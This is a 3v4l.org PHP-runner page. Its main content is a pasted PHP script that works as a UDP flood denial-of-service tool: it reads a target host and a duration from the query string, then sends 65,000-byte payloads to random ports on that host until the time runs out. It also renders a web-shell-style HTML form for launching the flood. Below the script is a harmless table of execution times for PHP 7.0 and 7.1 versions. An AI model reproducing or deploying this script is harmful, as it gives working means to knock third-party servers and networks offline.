3v4l.org

run code in 300+ PHP versions simultaneously
<?php //UDP if(isset($_GET['host'])&&isset($_GET['time'])){     $packets = 0;     ignore_user_abort(TRUE);     set_time_limit(0);       $exec_time = $_GET['time'];       $time = time();     //print "Started: ".time('d-m-y h:i:s')."<br>";     $max_time = $time+$exec_time;       $host = $_GET['host'];       for($i=0;$i<65000;$i++){     $out .= 'X';     }     while(1){     $packets++;     if(time() > $max_time){   break;     }     $rand = rand(1,65000);     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);     if($fp){   fwrite($fp, $out);   fclose($fp);     }     }     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";     echo '<br><br>   <form action="'.$surl.'" method=GET>   <input type="hidden" name="act" value="phptools">   Host: <br><input type=text name=host><br>   Length (seconds): <br><input type=text name=time><br>   <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br>     <form action=? method=GET>     <input type="hidden" name="act" value="phptools">     Host: <br><input type=text name=host value=><br>     Length (seconds): <br><input type=text name=time value=><br><br>     <input type=submit value=Go></form>'; } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.1.70.0100.00316.63
7.1.60.0130.01335.08
7.1.50.0230.00334.77
7.1.40.0160.01234.31
7.1.30.0210.00734.35
7.1.20.0130.01734.47
7.1.10.0060.01116.43
7.1.00.0000.01416.30
7.0.200.0030.00916.50
7.0.190.0080.00416.25
7.0.180.0030.01016.09
7.0.170.0080.00716.04
7.0.160.0030.01016.30
7.0.150.0060.00916.11
7.0.140.0090.00616.19
7.0.130.0070.00716.22
7.0.120.0030.01016.36
7.0.110.0060.00916.13
7.0.100.0030.01316.16
7.0.90.0100.00716.01
7.0.80.0090.00616.05
7.0.70.0060.01016.07
7.0.60.0060.00916.03
7.0.50.0070.01016.21
7.0.40.0120.00616.45
7.0.30.0070.01316.39
7.0.20.0030.01016.33
7.0.10.0100.00316.16
7.0.00.0030.01016.33

preferences:
142.19 ms | 1394 KiB | 7 Q